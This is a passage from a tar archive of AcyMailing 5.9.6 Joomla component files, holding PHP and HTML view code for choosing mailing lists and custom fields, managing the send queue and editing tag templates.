										window.document.getElementById('textcontent_'+tempid).innerHTML,
										window.document.getElementById('subject_'+tempid).innerHTML,
										window.document.getElementById('stylesheet_'+tempid).innerHTML,
										window.document.getElementById('fromname_'+tempid).innerHTML,
										window.document.getElementById('fromemail_'+tempid).innerHTML,
										window.document.getElementById('replyname_'+tempid).innerHTML,
										window.document.getElementById('replyemail_'+tempid).innerHTML,
										tempid);
			acymailing.closeBox(true); }";
		acymailing_addScript(true, $js);
	}

	function upload(){
		if(acymailing_isNoTemplate()){
			$acyToolbar = acymailing_get('helper.toolbar');
			$acyToolbar->custom('doupload', acymailing_translation('IMPORT'), 'import', false);
			$acyToolbar->divider();
			$acyToolbar->help('template-upload');
			$acyToolbar->setTitle(acymailing_translation('ACY_TEMPLATE'));
			$acyToolbar->topfixed = false;
			$acyToolbar->display();
		}
	}
}
com_acymailing/views/chooselist/index.html000060400000000054152455305300015022 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/chooselist/view.html.php000060400000003530152455305300015455 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php


class chooselistViewchooselist extends acymailingView
{

	function display($tpl = null)
	{
		$function = $this->getLayout();
		if(method_exists($this,$function)) $this->$function();

		parent::display($tpl);
	}

	function listing(){

		$listClass = acymailing_get('class.list');
		$rows = $listClass->getLists();

		$selectedLists = acymailing_getVar('string', 'values', '', '');

		if(strtolower($selectedLists) == 'all'){
			foreach($rows as $id => $oneRow){
				$rows[$id]->selected = true;
			}
		}elseif(!empty($selectedLists)){
			$selectedLists = explode(',',$selectedLists);
			foreach($rows as $id => $oneRow){
				if(in_array($oneRow->listid,$selectedLists)){
					$rows[$id]->selected = true;
				}
			}
		}

		$fieldName = acymailing_getVar('string', 'task');
		$controlName = acymailing_getVar('string', 'control', 'params');
		$popup = acymailing_getVar('string', 'popup', '1');

		$this->rows = $rows;
		$this->selectedLists = $selectedLists;
		$this->fieldName = $fieldName;
		$this->controlName = $controlName;
		$this->popup = $popup;
	}


	function customfields(){

		$fieldsClass = acymailing_get('class.fields');
		$fake = null;
		$rows = $fieldsClass->getFields('module', $fake);

		$selected = acymailing_getVar('string', 'values', '', '');
		$selectedvalues = explode(',',$selected);
		foreach($rows as $id => $oneRow){
			if(in_array($oneRow->namekey,$selectedvalues)){
				$rows[$id]->selected = true;
			}
		}

		$this->fieldsClass = $fieldsClass;
		$this->rows = $rows;
		$controlName = acymailing_getVar('string', 'control', 'params');
		$this->controlName = $controlName;
	}
}
com_acymailing/views/chooselist/tmpl/customfields.php000060400000006573152455305300017227 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content">
	<script language="javascript" type="text/javascript">
	<!--
		var selectedContents = new Array();
		var allElements = <?php echo count($this->rows);?>;
		<?php
			foreach($this->rows as $oneRow){
				if(!empty($oneRow->selected)){
					echo "selectedContents['".$oneRow->namekey."'] = 'content';";
				}
			}
		?>
		function applyContent(contentid,rowClass){
			if(selectedContents[contentid]){
				window.document.getElementById('content'+contentid).className = rowClass;
				delete selectedContents[contentid];
			}else{
				window.document.getElementById('content'+contentid).className = 'selectedrow';
				selectedContents[contentid] = 'content';
			}
		}

		function insertTag(){
			var tag = '';
			for(var i in selectedContents){
				if(selectedContents[i] == 'content'){
					allElements--;
					if(tag != '') tag += ',';
					tag = tag + i;
				}
			}

			var textbox = window.top.document.getElementById('<?php echo $this->controlName; ?>customfields');
			textbox.value = tag;

			<?php if('joomla' == 'wordpress'){ ?>
				if(textbox.form && textbox.form.querySelector('input[type="submit"]')){
					textbox.form.querySelector('input[type="submit"]').removeAttribute('disabled');
					textbox.form.querySelector('input[type="submit"]').value = '<?php echo __('Save'); ?>';
				}
			<?php } ?>

			parent.acymailing.setOnclickPopup('link<?php echo $this->controlName; ?>customfields', '<?php echo acymailing_completeLink('chooselist&task=customfields&control='.$this->controlName); ?>&values='+tag, 650, 375);
			acymailing.closeBox(true);
		}
	//-->
	</script>
	<style type="text/css">
		table.acymailing_table tr.selectedrow td{
			background-color:#FDE2BA;
		}
	</style>
	<form action="<?php echo acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'chooselist') ?>" method="post" name="adminForm" id="adminForm">
		<div style="float:right;margin-bottom : 10px">
			<button class="acymailing_button_grey" id="insertButton" onclick="insertTag(); return false;"><?php echo acymailing_translation('ACY_APPLY'); ?></button>
		</div>
		<div style="clear:both"></div>
		<table class="acymailing_table" cellpadding="1">
			<thead>
				<tr>
					<th class="title">
					</th>
					<th class="title">
						<?php echo acymailing_translation('FIELD_COLUMN'); ?>
					</th>
					<th class="title">
						<?php echo acymailing_translation('FIELD_LABEL'); ?>
					</th>
					<th class="title titleid">
						<?php echo acymailing_translation('ACY_ID'); ?>
					</th>
				</tr>
			</thead>
			<tbody>
				<?php
					$k = 0;

					foreach($this->rows as $row){
				?>
					<tr class="<?php echo empty($row->selected) ? "row$k" : 'selectedrow'; ?>" id="content<?php echo $row->namekey; ?>" onclick="applyContent('<?php echo $row->namekey."','row$k'"?>);" style="cursor:pointer;">
						<td class="acytdcheckbox"></td>
						<td>
						<?php echo $row->namekey; ?>
						</td>
						<td>
						<?php echo $this->fieldsClass->trans($row->fieldname); ?>
						</td>
						<td align="center" style="text-align:center" >
							<?php echo $row->fieldid; ?>
						</td>
					</tr>
				<?php
						$k = 1-$k;
					}
				?>
			</tbody>
		</table>
	</form>
</div>
com_acymailing/views/chooselist/tmpl/index.html000060400000000054152455305300015776 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/chooselist/tmpl/listing.php000060400000007626152455305300016177 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content">
	<script language="javascript" type="text/javascript">
		<!--
		var selectedContents = new Array();
		var allElements = <?php echo count($this->rows);?>;
		<?php
			foreach($this->rows as $oneRow){
				if(!empty($oneRow->selected)){
					echo "selectedContents[".$oneRow->listid."] = 'content';";
				}
			}
		?>
		function applyContent(contentid, rowClass) {
			if (selectedContents[contentid]) {
				window.document.getElementById('content' + contentid).className = rowClass;
				delete selectedContents[contentid];
			} else {
				window.document.getElementById('content' + contentid).className = 'selectedrow';
				selectedContents[contentid] = 'content';
			}
		}

		function insertTag() {
			var tag = '';
			for (var i in selectedContents) {
				if (selectedContents[i] == 'content') {
					allElements--;
					if (tag != '') tag += ',';
					tag = tag + i;
				}
			}
			<?php if(acymailing_getVar('int', 'all', 1) == 1){ ?>if (allElements == 0) tag = 'All';<?php } ?>
			if (allElements == <?php echo count($this->rows);?>) tag = 'None';

			<?php if(empty($this->popup)){ ?>

				window.parent.document.getElementById('<?php echo $this->controlName.$this->fieldName; ?>').value = tag;
				window.parent.displayLists();

			<?php }else{ ?>

				var textbox = window.top.document.getElementById('<?php echo $this->controlName.$this->fieldName; ?>');
				textbox.value = tag;

				<?php if('joomla' == 'wordpress'){ ?>
					if(textbox.form && textbox.form.querySelector('input[type="submit"]')){
						textbox.form.querySelector('input[type="submit"]').removeAttribute('disabled');
						textbox.form.querySelector('input[type="submit"]').value = '<?php echo __('Save'); ?>';
					}
				<?php } ?>

				parent.acymailing.setOnclickPopup('link<?php echo $this->controlName.$this->fieldName; ?>', '<?php echo htmlspecialchars_decode(acymailing_completeLink('chooselist&task='.$this->fieldName.'&control='.$this->controlName)); ?>&values='+tag, 650, 375);
				acymailing.closeBox(true);

			<?php } ?>
		}
		//-->
	</script>
	<style type="text/css">
		table.acymailing_table tr.selectedrow td{
			background-color: #f3f7fc;
		}
	</style>
	<form action="<?php echo acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'chooselist'); ?>" method="post" name="adminForm" id="adminForm">
		<div style="float:right;margin-bottom : 10px">
			<button class="acymailing_button_grey" id="insertButton" onclick="insertTag(); return false;"><?php echo acymailing_translation('ACY_APPLY'); ?></button>
		</div>
		<div style="clear:both"/>
		<table class="acymailing_table" cellpadding="1">
			<thead>
			<tr>
				<th class="title">

				</th>
				<th class="title titlecolor">

				</th>
				<th class="title">
					<?php echo acymailing_translation('LIST_NAME'); ?>
				</th>
				<th class="title titleid">
					<?php echo acymailing_translation('ACY_ID'); ?>
				</th>
			</tr>
			</thead>
			<tbody>
			<?php
			$k = 0;

			for($i = 0, $a = count($this->rows); $i < $a; $i++){
				$row =& $this->rows[$i];
				?>
				<tr class="<?php echo empty($row->selected) ? "row$k" : 'selectedrow'; ?>" id="content<?php echo $row->listid ?>" onclick="applyContent(<?php echo $row->listid.",'row$k'" ?>);" style="cursor:pointer;">
					<td class="acytdcheckbox"></td>
					<td>
						<?php echo '<div class="roundsubscrib rounddisp" style="background-color:'.$row->color.'"></div>'; ?>
					</td>
					<td>
						<?php
						echo acymailing_tooltip($row->description, $row->name, 'tooltip.png', $row->name);
						?>
					</td>
					<td align="center" style="text-align:center">
						<?php echo $row->listid; ?>
					</td>
				</tr>
				<?php
				$k = 1 - $k;
			}
			?>
			</tbody>
		</table>
	</form>
</div>
com_acymailing/views/queue/view.html.php000060400000015463152455305300014435 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php


class QueueViewQueue extends acymailingView{
	var $searchFields = array('b.name', 'b.email', 'c.subject', 'a.mailid', 'a.subid');
	var $selectFields = array('b.name', 'b.email', 'c.subject', 'c.type', 'c.published', 'a.mailid', 'a.subid', 'a.senddate', 'a.priority', 'a.try');

	function display($tpl = null){
		$function = $this->getLayout();
		if(method_exists($this, $function)) $this->$function();

		parent::display($tpl);
	}

	function preview(){
		$mailid = acymailing_getVar('int', 'mailid');
		$subid = acymailing_getVar('int', 'subid');

		$mailerHelper = acymailing_get('helper.mailer');
		$mailerHelper->loadedToSend = false;
		$mail = $mailerHelper->load($mailid);

		$userClass = acymailing_get('class.subscriber');
		$receiver = $userClass->get($subid);
		if(empty($receiver)) die(acymailing_translation_sprintf('SEND_ERROR_USER', $subid));
		if(empty($mail)) die('Newsletter not found: '.$mailid);
		$mail->sendHTML = $mail->html && $receiver->html;

		$receiver->paramqueue = acymailing_loadResult('SELECT paramqueue FROM #__acymailing_queue WHERE mailid = '.intval($mailid).' AND subid = '.intval($subid));

		acymailing_trigger('acymailing_replaceusertags', array(&$mail, &$receiver, false));
		if(!empty($mail->altbody)) $mail->altbody = $mailerHelper->textVersion($mail->altbody, false);

		if($mail->html){
			$templateClass = acymailing_get('class.template');
			$templateClass->displayPreview('newsletter_preview_area', $mail->tempid, $mail->subject);
		}

		$this->mail = $mail;

		$acyToolbar = acymailing_get('helper.toolbar');
		$acyToolbar->setTitle($this->mail->subject);
		$acyToolbar->directPrint();
		$acyToolbar->topfixed = false;
		$acyToolbar->display();
	}

	function listing(){
		$pageInfo = new stdClass();
		$pageInfo->filter = new stdClass();
		$pageInfo->filter->order = new stdClass();
		$pageInfo->limit = new stdClass();
		$pageInfo->elements = new stdClass();

		$config = acymailing_config();

		$paramBase = ACYMAILING_COMPONENT.'.'.$this->getName();
		$pageInfo->filter->order->value = acymailing_getUserVar($paramBase.".filter_order", 'filter_order', 'a.senddate', 'cmd');
		$pageInfo->filter->order->dir = acymailing_getUserVar($paramBase.".filter_order_Dir", 'filter_order_Dir', 'asc', 'word');
		if(strtolower($pageInfo->filter->order->dir) !== 'desc') $pageInfo->filter->order->dir = 'asc';
		$pageInfo->search = acymailing_getUserVar($paramBase.".search", 'search', '', 'string');
		$pageInfo->search = strtolower(trim($pageInfo->search));

		$pageInfo->selectedMail = acymailing_getUserVar($paramBase."filter_mail", 'filter_mail', 0, 'int');

		$pageInfo->limit->value = acymailing_getUserVar($paramBase.'.list_limit', 'limit', acymailing_getCMSConfig('list_limit'), 'int');
		$pageInfo->limit->start = acymailing_getUserVar($paramBase.'.limitstart', 'limitstart', 0, 'int');

		$filters = array();
		if(!empty($pageInfo->search)){
			$searchVal = '\'%'.acymailing_getEscaped($pageInfo->search, true).'%\'';
			$filters[] = implode(" LIKE $searchVal OR ", $this->searchFields)." LIKE $searchVal";
		}

		if(!empty($pageInfo->selectedMail)) $filters[] = 'a.mailid = '.intval($pageInfo->selectedMail);

		$query = 'SELECT '.implode(' , ', $this->selectFields);
		$query .= ' FROM '.acymailing_table('queue').' as a';
		$query .= ' JOIN '.acymailing_table('subscriber').' as b on a.subid = b.subid';
		$query .= ' JOIN '.acymailing_table('mail').' as c on a.mailid = c.mailid';
		if(!empty($filters)) $query .= ' WHERE ('.implode(') AND (', $filters).')';
		if(!empty($pageInfo->filter->order->value)){
			$query .= ' ORDER BY '.$pageInfo->filter->order->value.' '.$pageInfo->filter->order->dir.', a.`subid` ASC';
		}

		if(empty($pageInfo->limit->value)) $pageInfo->limit->value = 100;
		$rows = acymailing_loadObjectList($query, '', $pageInfo->limit->start, $pageInfo->limit->value);
		if(empty($rows) && $pageInfo->limit->start != 0){
			$pageInfo->limit->start = 0;
			$rows = acymailing_loadObjectList($query, '', $pageInfo->limit->start, $pageInfo->limit->value);
		}

		$pageInfo->elements->page = count($rows);

		if($pageInfo->limit->value > $pageInfo->elements->page){
			$pageInfo->elements->total = $pageInfo->limit->start + $pageInfo->elements->page;
		}else{
			$queryCount = 'SELECT COUNT(a.mailid) FROM '.acymailing_table('queue').' as a';
			if(!empty($pageInfo->search)){
				$queryCount .= ' JOIN '.acymailing_table('subscriber').' as b on a.subid = b.subid';
				$queryCount .= ' JOIN '.acymailing_table('mail').' as c on a.mailid = c.mailid';
			}
			if(!empty($filters)) $queryCount .= ' WHERE ('.implode(') AND (', $filters).')';

			$pageInfo->elements->total = acymailing_loadResult($queryCount);
		}

		$pagination = new acyPagination($pageInfo->elements->total, $pageInfo->limit->start, $pageInfo->limit->value);

		$mailqueuetype = acymailing_get('type.queuemail');
		$filtersType = new stdClass();
		$filtersType->mail = $mailqueuetype->display('filter_mail', $pageInfo->selectedMail);


		$acyToolbar = acymailing_get('helper.toolbar');
		if(acymailing_isAllowed($config->get('acl_queue_process', 'all'))){
			$acyToolbar->popup('process', acymailing_translation('PROCESS'), acymailing_completeLink("queue&task=process&mailid=".$pageInfo->selectedMail, true));
		}
		if(!empty($pageInfo->elements->total) AND acymailing_isAllowed($config->get('acl_queue_delete', 'all'))){
			$onClick = "if (confirm('".str_replace("'", "\'", acymailing_translation_sprintf('CONFIRM_DELETE_QUEUE', $pageInfo->elements->total))."')){acymailing.submitbutton('remove');}";
			$acyToolbar->custom('remove', acymailing_translation('ACY_DELETE'), 'delete', false, $onClick);
		}

		$acyToolbar->divider();
		$acyToolbar->help('queue-listing');
		$acyToolbar->setTitle(acymailing_translation('QUEUE'), 'queue');
		$acyToolbar->display();

		$toggleClass = acymailing_get('helper.toggle');

		$this->toggleClass = $toggleClass;
		$this->filters = $filtersType;
		$this->rows = $rows;
		$this->pageInfo = $pageInfo;
		$this->pagination = $pagination;
	}

	function process(){

		$mailid = acymailing_getCID('mailid');
		$queueClass = acymailing_get('class.queue');
		$queueStatus = $queueClass->queueStatus($mailid);
		$nextqueue = $queueClass->queueStatus($mailid, true);
		if(acymailing_level(1)){
			$scheduleClass = acymailing_get('helper.schedule');
			$scheduleNewsletter = $scheduleClass->getScheduled();
			$this->schedNews = $scheduleNewsletter;
		}

		if(empty($queueStatus) AND empty($scheduleNewsletter)) acymailing_display(acymailing_translation('NO_PROCESS'), 'info');

		$infos = new stdClass();
		$infos->mailid = $mailid;
		$this->queue = $queueStatus;
		$this->nextqueue = $nextqueue;
		$this->infos = $infos;
	}
}
com_acymailing/views/queue/tmpl/preview.php000060400000000643152455305300015147 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div class="newsletter_body" id="newsletter_preview_area">
	<?php echo $this->mail->sendHTML ? $this->mail->body : nl2br($this->mail->altbody); ?>
</div>
com_acymailing/views/queue/tmpl/listing.php000060400000010451152455305300015135 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content">
	<div id="iframedoc"></div>

	<?php if(empty($this->pageInfo->search) && empty($this->rows) && empty($pageInfo->selectedMail)){
		acymailing_display(acymailing_translation('ACY_EMPTY_QUEUE'),'info');
		echo '</div>';
		return;
	}
		?>

		<form action="<?php echo acymailing_completeLink('queue'); ?>" method="post" name="adminForm" id="adminForm">
			<table class="acymailing_table_options">
				<tr>
					<td width="100%">
						<?php acymailing_listingsearch($this->pageInfo->search); ?>
					</td>
					<td nowrap="nowrap">
						<?php echo $this->filters->mail; ?>
					</td>
				</tr>
			</table>

			<table class="acymailing_table" cellpadding="1">
				<thead>
				<tr>
					<th class="title titlenum">
						<?php echo acymailing_translation('ACY_NUM'); ?>
					</th>
					<th class="title titledate">
						<?php echo acymailing_gridSort(acymailing_translation('SEND_DATE'), 'a.senddate', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
					</th>
					<th class="title">
						<?php echo acymailing_gridSort(acymailing_translation('JOOMEXT_SUBJECT'), 'c.subject', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
					</th>
					<th class="title">
						<?php echo acymailing_gridSort(acymailing_translation('ACY_USER'), 'b.email', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
					</th>
					<th class="title titletoggle">
						<?php echo acymailing_gridSort(acymailing_translation('PRIORITY'), 'a.priority', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
					</th>
					<th class="title titletoggle">
						<?php echo acymailing_gridSort(acymailing_translation('TRY'), 'a.try', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
					</th>
					<th class="title titletoggle">
						<?php echo acymailing_translation('ACY_DELETE'); ?>
					</th>
					<th class="title titletoggle" nowrap="nowrap">
						<?php echo acymailing_gridSort(acymailing_translation('ACY_PUBLISHED'), 'c.published', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
					</th>
				</tr>
				</thead>
				<tfoot>
				<tr>
					<td colspan="10">
						<?php echo $this->pagination->getListFooter();
						echo $this->pagination->getResultsCounter(); ?>
					</td>
				</tr>
				</tfoot>
				<tbody>
				<?php
				$k = 0;

				for($i = 0, $a = count($this->rows); $i < $a; $i++){
					$row =& $this->rows[$i];
					$id = 'queue'.$i;
					?>
					<tr class="<?php echo "row$k"; ?>" id="<?php echo $id; ?>">
						<td align="center" style="text-align:center">
							<?php echo $this->pagination->getRowOffset($i); ?>
						</td>
						<td align="center" style="text-align:center">
							<?php echo acymailing_getDate($row->senddate); ?>
						</td>
						<td>
							<?php
							$row->subject = acyEmoji::Decode($row->subject);
							echo acymailing_popup(acymailing_completeLink('queue&task=preview&mailid='.$row->mailid.'&subid='.$row->subid, true), acymailing_dispSearch($row->subject, $this->pageInfo->search), '', 800, 590); ?>
						</td>
						<td>
							<?php
							echo acymailing_tooltip(acymailing_translation('ACY_NAME').' : '.$row->name.'<br />'.acymailing_translation('ACY_ID').' : '.$row->subid, $row->email, 'tooltip.png', $row->name.' ( '.$row->email.' )', acymailing_completeLink('subscriber&task=edit&subid='.$row->subid));
							?>
						</td>
						<td align="center" style="text-align:center">
							<?php echo $row->priority; ?>
						</td>
						<td align="center" style="text-align:center">
							<?php echo $row->try; ?>
						</td>
						<td align="center" style="text-align:center">
							<?php echo $this->toggleClass->delete($id, $row->subid.'_'.$row->mailid, 'queue'); ?>
						</td>
						<td align="center" style="text-align:center">
							<?php echo $this->toggleClass->display('published', $row->published); ?>
						</td>
					</tr>
					<?php
					$k = 1 - $k;
				}
				?>
				</tbody>
			</table>

			<?php acymailing_formOptions($this->pageInfo->filter->order); ?>
		</form>
</div>
com_acymailing/views/queue/tmpl/process.php000060400000006660152455305300015151 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php acymailing_display(acymailing_translation_sprintf('QUEUE_STATUS', acymailing_getDate(time())), 'info'); ?>
<form action="<?php echo acymailing_completeLink('queue', true); ?>" method="post" name="adminForm" id="adminForm" autocomplete="off">
	<div>
		<?php if(!empty($this->queue)){ ?>
			<div class="onelineblockoptions">
				<span class="acyblocktitle"><?php echo acymailing_translation('QUEUE_READY'); ?></span>
				<table class="acymailing_table" cellspacing="1" align="center">
					<tbody>
					<?php $k = 0;
					$total = 0;
					foreach($this->queue as $mailid => $row){
						$total += $row->nbsub;
						?>

						<tr class="<?php echo "row$k"; ?>">
							<td>
								<?php
								$row->subject = acyEmoji::Decode($row->subject);
								echo acymailing_translation_sprintf('EMAIL_READY', $row->mailid, $row->subject, $row->nbsub);
								?>
							</td>
						</tr>
						<?php
						$k = 1 - $k;
					} ?>
					</tbody>
				</table>
				<br/>
				<input type="hidden" name="totalsend" value="<?php echo $total; ?>"/>
				<input class="acymailing_button_grey" type="submit" onclick="document.adminForm.task.value='continuesend';" value="<?php echo acymailing_translation('SEND'); ?>">
			</div>
		<?php } ?>

		<?php if(!empty($this->schedNews)){ ?>
			<div class="onelineblockoptions">
				<span class="acyblocktitle"><?php echo acymailing_translation('SCHEDULE_NEWS'); ?></span>
				<table class="acymailing_table" cellspacing="1" align="center">
					<tbody>
					<?php $k = 0;
					$sendButton = false;
					foreach($this->schedNews as $row){
						if($row->senddate < time()) $sendButton = true; ?>
						<tr class="<?php echo "row$k"; ?>">
							<td>
								<?php
								$row->subject = acyEmoji::Decode($row->subject);
								echo acymailing_translation_sprintf('QUEUE_SCHED', $row->mailid, $row->subject, acymailing_getDate($row->senddate));
								?>
							</td>
						</tr>
						<?php
						$k = 1 - $k;
					} ?>
					</tbody>
				</table>
				<?php if($sendButton){ ?><br/><input class="acymailing_button" onclick="document.adminForm.task.value='genschedule';" type="submit" value="<?php echo acymailing_translation('GENERATE', true); ?>"><?php } ?>
			</div>
		<?php } ?>

		<?php if(!empty($this->nextqueue)){ ?>
			<div class="onelineblockoptions">
				<span class="acyblocktitle"><?php echo acymailing_translation_sprintf('QUEUE_STATUS', acymailing_getDate(time())); ?></span>
				<table class="acymailing_table" cellspacing="1" align="center">
					<tbody>
					<?php $k = 0;
					foreach($this->nextqueue as $mailid => $row){ ?>
						<tr class="<?php echo "row$k"; ?>">
							<td>
								<?php
								$row->subject = acyEmoji::Decode($row->subject);
								echo acymailing_translation_sprintf('EMAIL_READY', $row->mailid, $row->subject, $row->nbsub);
								echo '<br />'.acymailing_translation_sprintf('QUEUE_NEXT_SCHEDULE', acymailing_getDate($row->senddate));
								?>
							</td>
						</tr>
						<?php
						$k = 1 - $k;
					} ?>
					</tbody>
				</table>
			</div>
		<?php } ?>
	</div>
	<div class="clr"></div>
	<input type="hidden" name="mailid" value="<?php echo $this->infos->mailid; ?>"/>
	<?php
	acymailing_setVar('ctrl', 'send');
	acymailing_formOptions();
	?>
</form>
com_acymailing/views/queue/tmpl/index.html000060400000000054152455305300014746 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/queue/index.html000060400000000054152455305300013772 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/tag/index.html000060400000000054152455305300013421 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/tag/view.html.php000060400000004645152455305300014064 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php


class TagViewTag extends acymailingView{

	function display($tpl = null){
		$function = $this->getLayout();
		if(method_exists($this, $function)) $this->$function();

		parent::display($tpl);
	}

	function tag(){
		acymailing_addStyle(false, ACYMAILING_CSS.'frontendedition.css?v='.filemtime(ACYMAILING_MEDIA.'css'.DS.'frontendedition.css'));

		acymailing_importPlugin('acymailing');
		$tagsfamilies = acymailing_trigger('acymailing_getPluginType');

		$defaultFamily = reset($tagsfamilies);
		if(!is_object($defaultFamily)) $defaultFamily = end($tagsfamilies);
		$fctplug = acymailing_getUserVar(ACYMAILING_COMPONENT.".tag", 'fctplug', $defaultFamily->function, 'cmd');

		ob_start();
		$defaultContents = acymailing_trigger($fctplug);
		$defaultContent = ob_get_clean();

		$js = 'function insertTag(){if(window.parent.insertTag(window.document.getElementById(\'tagstring\').value)) {acymailing.closeBox(true);}}';
		$js .= 'function setTag(tagvalue){window.document.getElementById(\'tagstring\').value = tagvalue;}';
		$js .= 'function showTagButton(){window.document.getElementById(\'insertButton\').style.display = \'inline\'; window.document.getElementById(\'tagstring\').style.display=\'inline\';}';
		$js .= 'function hideTagButton(){}';
		$js .= 'try{window.parent.previousSelection = window.parent.getPreviousSelection(); }catch(err){window.parent.previousSelection=false; }';

		acymailing_addScript(true, $js);


		$this->fctplug = $fctplug;
		$type = acymailing_getVar('string', 'type', 'news');
		$this->type = $type;
		$this->defaultContent = $defaultContent;
		$this->tagsfamilies = $tagsfamilies;
		$ctrl = acymailing_getVar('string', 'ctrl');
		$this->ctrl = $ctrl;
	}

	function form(){
		$plugin = acymailing_getVar('string', 'plugin');
		$plugin = preg_replace('#[^a-zA-Z0-9_]#Uis', '', $plugin);
		$templatePath = ACYMAILING_MEDIA.'plugins'.DS.$plugin.'.php';
		$body = '';
		if(file_exists($templatePath)) $body = file_get_contents($templatePath);
		$help = acymailing_getVar('string', 'help');
		$help = preg_replace('#[^a-zA-Z0-9]#Uis', '', $help);
		$help = empty($help) ? $plugin : $help;

		$this->help = $help;
		$this->plugin = $plugin;
		$this->body = $body;
	}
}
com_acymailing/views/tag/tmpl/form.php000060400000003152152455305300014056 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content">
	<form action="<?php echo acymailing_completeLink(acymailing_getVar('cmd', 'ctrl')); ?>" method="post" name="adminForm" id="adminForm" autocomplete="off">
		<?php
		$toolbar = acymailing_get('helper.toolbar');
		$toolbar->help('plugin-'.$this->help);
		$toolbar->divider();
		$toolbar->custom('apply', acymailing_translation('ACY_SAVE', true), 'save', false);
		$toolbar->topfixed = false;
		$toolbar->setTitle(acymailing_translation('ACY_CUSTOMTEMPLATE'));
		$toolbar->display();
		?>
		<div id="iframedoc" style="clear:both;position:relative;"></div>
		<div class="onelineblockoptions">
			<table class="acymailing_table" width="100%">
				<tr>
					<td class="paramlist_key">
						<label for="subject">
							<?php echo acymailing_translation('TEMPLATE_NAME'); ?>
						</label>
					</td>
					<td class="paramlist_value">
						<?php echo $this->plugin; ?>.php
					</td>
				</tr>
			</table>
		</div>
		<fieldset class="adminform" style="width:95%;" id="textfieldset">
			<legend><?php echo acymailing_translation('ACY_TEMPLATE'); ?></legend>
			<textarea style="width:99%;height:250px;" rows="16" name="templatebody" id="templatebody"><?php echo $this->body; ?></textarea>
		</fieldset>

		<div class="clr"></div>

		<input type="hidden" name="plugin" value="<?php echo $this->plugin; ?>"/>
		<?php acymailing_formOptions(); ?>
	</form>
</div>
com_acymailing/views/tag/tmpl/index.html000060400000000054152455305300014375 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/tag/tmpl/tag.php000060400000005236152455305300013673 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><style type="text/css">
	body{
		height: auto;
		min-width: 650px !important;
	}

	html{
		overflow-y: auto;
	}

	.rt-container, .rt-block{
		width: auto !important;
		background-color: #f6f7f9 !important;
	}
</style>
<div id="acy_content">
	<div id="acymailing_edit" class="acytagpopup">
		<?php
		if(empty($this->tagsfamilies)) acymailing_checkPluginsFolders();
		?>
		<table width="100%">
			<tr>
				<td class="familymenu" valign="top">
					<?php
					foreach($this->tagsfamilies as $id => $oneFamily){
						if(empty($oneFamily)) continue;
						if($oneFamily->function == $this->fctplug){
							$help = empty($oneFamily->help) ? '' : $oneFamily->help;
							$class = ' class="selected" ';
